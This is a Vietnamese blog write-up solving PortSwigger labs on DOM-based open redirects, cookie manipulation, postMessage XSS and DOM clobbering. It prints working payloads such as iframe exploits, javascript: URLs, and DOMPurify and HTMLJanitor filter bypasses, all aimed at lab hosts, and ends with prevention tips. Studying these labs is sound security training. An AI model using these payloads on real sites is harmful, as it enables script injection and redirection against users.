[PortSwigger Lab] - DOM Based Vulnerabilities
Solution of DOM Based Vulnerabilities Lab
[PortSwigger Lab] - DOM Based Vulnerabilities
Introduction
DOM Based Vulnerabilities
- DOM (Document Object Model) là một mô hình dạng cây (cấu trúc phân cấp) mà trình duyệt web tạo ra để đại diện cho toàn bộ nội dung và cấu trúc của một trang web. Mỗi phần tử HTML (như
<div>
,<p>
,<a>
, v.v.) sẽ được biểu diễn như một nút (node) trong cây này. - DOM cho phép JavaScript tương tác và thay đổi nội dung của trang web. Cụ thể, JavaScript có thể:
- Truy cập các phần tử
- Thay đổi nội dung hoặc thuộc tính
- Thêm, sửa, hoặc xóa các phần tử HTML động
- DOM-based vulnerability là một loại lỗ hổng bảo mật xảy ra khi:
- Trang web chứa JavaScript mà lấy dữ liệu do người dùng kiểm soát (gọi là source, ví dụ:
location.hash
,document.URL
,window.name
, v.v.) - Và sau đó truyền dữ liệu đó vào một hàm nguy hiểm (gọi là
sink
, ví dụ:innerHTML
,document.write
,eval
,setTimeout
,...
).
- Trang web chứa JavaScript mà lấy dữ liệu do người dùng kiểm soát (gọi là source, ví dụ:
Taint Flow
- Taint flow là luồng dữ liệu không đáng tin cậy (thường do người dùng hoặc kẻ tấn công kiểm soát) chạy qua mã JavaScript từ một source (nguồn) đến một sink (đích), nơi dữ liệu đó được xử lý hoặc thực thi.
- “Taint” có nghĩa là “nhiễm bẩn” – dữ liệu không sạch, có thể bị lợi dụng.
- Nếu dữ liệu đó đi vào một hàm nguy hiểm mà không được lọc/kiểm tra, thì có thể gây ra lỗ hổng bảo mật.
- Source là những vị trí trong JavaScript mà dữ liệu từ phía người dùng hoặc kẻ tấn công có thể truy cập vào.
- Sink là nơi mà dữ liệu được xử lý, hiển thị, hoặc thực thi – và nếu dữ liệu đó bị nhiễm bẩn (tainted), nó có thể gây ra hậu quả.
Solve DOM Based Vulnerabilities
Lab: DOM-based open redirection
- Truy cập đến 1 blog bất kỳ, inspect source ta thấy:
1
<a href='#' onclick='returnUrl = /url=(https?:\/\/.+)/.exec(location); location.href = returnUrl ? returnUrl[1] : "/"'>Back to Blog</a>
- Ứng dụng sẽ kiểm tra trên url có
url=http
không, nếu có thì khi click vào thẻ a này sẽ redirect đến đường đãn đó - Thêm url vào request đến redirect đến exploit server
1
https://0a33001a0374320280b6030200c90007.web-security-academy.net/post?postId=3&url=https://exploit-0ae8006a03da3299806502e80186006b.exploit-server.net/
Lab: DOM-based cookie manipulation
Analysis
- Đến 1 blog bất kì
- Trở lại home ta thấy đường dẫn đến Last viewed product
- Click vào Last viewed product nó chuyển hướn ta đến trang vừa truy cập lúc nãy
- Quan sát source ta thấy script
1
2
3
<script>
document.cookie = 'lastViewedProduct=' + window.location + '; SameSite=None; Secure'
</script>
- Ứng dụng đã set cookie
lastViewedProduct
bằng giá trị trên thanh url hiện tại (window.location) - Quan sát ta thấy Last viewed product chứa href là giá trị của
lastViewedProduct
1
<a href="https://0aaa00410394b637814d7fe400be006f.web-security-academy.net/product?productId=1">Last viewed product</a>
- Thử thay đổi request đến, reload lại page, kiểm tra lại cookie và Last viewed product
1
<a href="https://0aaa00410394b637814d7fe400be006f.web-security-academy.net/product?productId=1&xnxx=1">Last viewed product</a>
- Ta thấy khi truy cập vào 1 blog kèm thêm param
xnxx
=> kéo theo cookie được set lại => Last viewed product thay đổi
Exploit
- Thay đổi đường đãn thành và truy cập
1
https://0aaa00410394b637814d7fe400be006f.web-security-academy.net/product?productId=1&xnxx=1'><script>print()</script>
- Click Last viewed product => XSS xảy ra
- Quan sát source gần Last viewed product
1
<a href="https://0aaa00410394b637814d7fe400be006f.web-security-academy.net/product?productId=1&xnxx=1"><script>print()</script>'>Last viewed product</a>
- Ta đã thoát khỏi thẻ
<a>
và thêmscript
phía sau - Đến exploit server và dán payload sau và Deliver to victim
1
<iframe src="https://0aaa00410394b637814d7fe400be006f.web-security-academy.net/product?productId=1&xnxx=1'><script>print()</script>" onload="if (!window.x) this.src='https://0aaa00410394b637814d7fe400be006f.web-security-academy.net/'; window.x=1;">
- Ban đầu load
https://0aaa00410394b637814d7fe400be006f.web-security-academy.net/product?productId=1&xnxx=1'><script>print()</script>
vào thẻ iframe để set lại cookie cho victim - Kiểm tra biến global x xem có, trường hợp này nó chưa tồn tại nên set lại src cho iframe làm nó load lại
https://0aaa00410394b637814d7fe400be006f.web-security-academy.net/
dẫn tới XSS xảy ra
Lab: DOM XSS using web messages
Analysis
- Mở trang web => Quan sát thấy [object Object]
- Inspect code phần đó ra thấy script
1
2
3
4
5
6
<div id="ads">[object Object]</div>
<script>
window.addEventListener('message', function(e) {
document.getElementById('ads').innerHTML = e.data;
})
</script>
- Ứng dụng sẽ lấy message từ cửa số khác hoặc từ chính nó để gán innerHTML cho ads element
- Mở console của browser tại chính trang đó, postMessage để kiểm tra
1
postMessage("xnxx")
- [object Object] đã đổi thành
xnxx
- Từ lỗ hổng này, ta thử thêm
payload xss
xem có thực thi không
1
postMessage("xnxx<img src=1 onerror=print()>")
- Thành công do ứng dụng không filter
Exploit
- Dán vào body exploit server và deliver to victiom
1
<iframe src="https://0a0800bf041984b1804903730049002c.web-security-academy.net/" onload="this.contentWindow.postMessage('xnxx<img src=1 onerror=print()>','*')">
- Sau khi load trang web vào iframe => gửi message chứa payload => xss xảy ra
- Sử dụng
"*"
, vì muốn gửi cho tất cả chứ không còn gửi cho chính nó
Lab: DOM XSS using web messages and a JavaScript URL
Analysis
- Mở trang web, Inspect code phần đó ra thấy script
1
2
3
4
5
6
7
8
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
location.href = url;
}
}, false);
</script>
- Phân tích ta thấy hành vi của ứng dụng:
- Nhận message từ possMessage
- Chấp nhận data chứa
http:
hoặchttps:
, tức nó xuất hiện ở bất kỳ đâu trong data
- Sử dụng console trong browser để
postMessage("javascript:print('https:')")
=> XSS xảy ra
Exploit
- Dán vào body exploit server và deliver to victiom
1
<iframe src="https://0a0800bf041984b1804903730049002c.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//https:','*')">
- Hoặc
1
<iframe src="https://0a0800bf041984b1804903730049002c.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print(\'http:\')','*')">
- Để tránh lỗi, cần escape dấu nháy đơn bên trong chuỗi bằng
\'
, khiến JavaScript hiểu đó là một dấu nháy đơn nằm trong chuỗi, không phải là điểm kết thúc chuỗi. - Sau khi load trang web vào iframe => gửi message chứa payload => xss xảy ra
- Sử dụng
"*"
, vì muốn gửi cho tất cả chứ không còn gửi cho chính nó
Lab: DOM XSS using web messages and JSON.parse
Analysis
- Mở trang web, Inspect code phần đó ra thấy script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script>
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
</script>
- Phân tích ta thấy hành vi của ứng dụng:
- Parse json trả về
d
- Phân loại dựa trên
d.type
- Parse json trả về
1
2
3
4
5
6
const payload = JSON.stringify({
type: 'load-channel',
url: 'javascript:print()'
});
postMessage(payload);
- Sử dụng console của browser để thử => XSS xảy ra
Exploit
- Dán vào body exploit server và deliver to victiom
1
2
3
4
5
6
<iframe src="https://0a1e0033041a32c780edd57100620015.web-security-academy.net/"
onload="this.contentWindow.postMessage(JSON.stringify({
type: 'load-channel',
url: 'javascript:print()'
}), '*')">
</iframe>
- Hoặc
1
2
<iframe src=https://0a1e0033041a32c780edd57100620015.web-security-academy.net/
onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
- Sau khi load trang web vào iframe => gửi message chứa payload => xss xảy ra
- Sử dụng
"*"
, vì muốn gửi cho tất cả chứ không còn gửi cho chính nó
Lab: Exploiting DOM clobbering to enable XSS
Lỗi này chỉ hoạt động trên Chrome
Analysis
- Truy cập blog bất kì, sử dụng chức năng comment và quan sát
GET /resources/js/loadCommentsWithDomClobbering.js
1
2
3
4
5
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
let divImgContainer = document.createElement("div");
divImgContainer.innerHTML = avatarImgHTML
- Ứng dụng tạo ra
defaultAvatar
với giá trị làwindow.defaultAvatar
hoặc{avatar: '/resources/images/avatarDefault.svg'}
- Ở đây ta thấy
defaultAvatar
chưa tồn tại, nên các bình luận trước đó sử dụng chung{avatar: '/resources/images/avatarDefault.svg'}
- Sau đó ứng dụng tạo ra
avatarImgHTML
là thẻ<img>
với giá trị làdefaultAvatar.avatar
nếu có hoặc sử dụng giá trị mặc định
Exploit
- Comment với payload sau:
1
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
- Comment tiếp tục một lần nữa với payload bất kỳ =>
XSS
xảy ra - Quan sát mã nguồn ta thấy ứng dụng sử dụng
DOMPurify
để làm sạch đầu vào
1
2
3
4
5
6
if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
commentSection.appendChild(commentBodyPElement);
}
- Trình duyệt giải mã
"
thành"
khiến href kết thúc sớm onerror=alert(1)
— được hiểu là thuộc tính mới- Kích hoạt XSS thông qua
onerror
- DOMPurify không chặn hoặc encode
cid:
//
phía sau để comment"
dư ra ở comment mới
1
<img class="avatar" src="cid:" onerror="alert(1)//"">
Lab: Clobbering DOM attributes to bypass HTML filters
Lỗi này chỉ hoạt động trên Chrome
Analysis
- Truy cập blog bất kì, sử dụng chức năng comment và quan sát code đáng chú ý của 2 response sau:
1
2
3
4
5
6
7
8
9
10
11
12
let janitor = new HTMLJanitor(
{tags:
{input:
{name:true,
type:true,
value:true},
form:{id:true},
i:{},
b:{},
p:{}
}
}
1
2
3
4
5
6
7
8
9
10
// Sanitize attributes
for (var a = 0; a < node.attributes.length; a += 1) {
var attr = node.attributes[a];
if (shouldRejectAttr(attr, allowedAttrs, node)) {
node.removeAttribute(attr.name);
// Shift the array to continue looping.
a = a - 1;
}
}
- Ứng dụng sử dụng thư viện HTMLJanitor để filter input
- Chỉ chấp nhận các tags:
input
với attributename
,type
,value
form
với attributeid
i
b
p
- Chỉ chấp nhận các tags:
- Phân tích code ta sẽ thấy hành vi:
- Duyệt qua các thuộc tính của node
- Xóa các thuộc tính không nằm trong white list
Exploit
- Ta phải tấn công, ghi đè đề
node.attributes.length
thànhundefind
- Post comment sau:
1
2
3
<form id=x tabindex=0 onfocus=print()>
<input id=attributes>
</form>
- Sử dụng các thẻ được phép
form
vàinput
node.attributes.length
=>form.attributes.length
tức trỏ tớiinput
=>undefind
- Đến exploit server dán vào body mã sau và deliver to victim
1
<iframe src=https://0ae60019044142ed8250343e00790097.web-security-academy.net/post?postId=2 onload="setTimeout(()=>this.src=this.src+'#x',500)">
- Khi victim truy cập vào
exploit
sau0.5s
sẽ thêm fragment đển focus vàoform
cóid=x
=>print()
- Kiểm tra sau post bạn sẽ thấy không còn
id
trong input nữa, nhưng chương trình vẫn hoạt động:- Do ứng dụng sẽ dọn từ
father
tớison
- Tức
form
sẽ được dọn trước rồi tớiinput
nên thuộc tínhid
trong input vẫn còn mặc dù không được phép form.attributes.length
vẫn hoạt động vìid=attributes
chưa bị dọn
- Do ứng dụng sẽ dọn từ
Prevent
- Không cho phép dữ liệu không đáng tin (untrusted data) đi vào sink
- Sử dụng whitelist
- Sanitize hoặc encode dữ liệu
- Không sử dụng các hàm nguy hiểm nếu không cần thiết
- Kiểm tra ngữ cảnh dữ liệu được sử dụng
Goodluck! 🍀🍀🍀
This post is licensed under CC BY 4.0 by the author.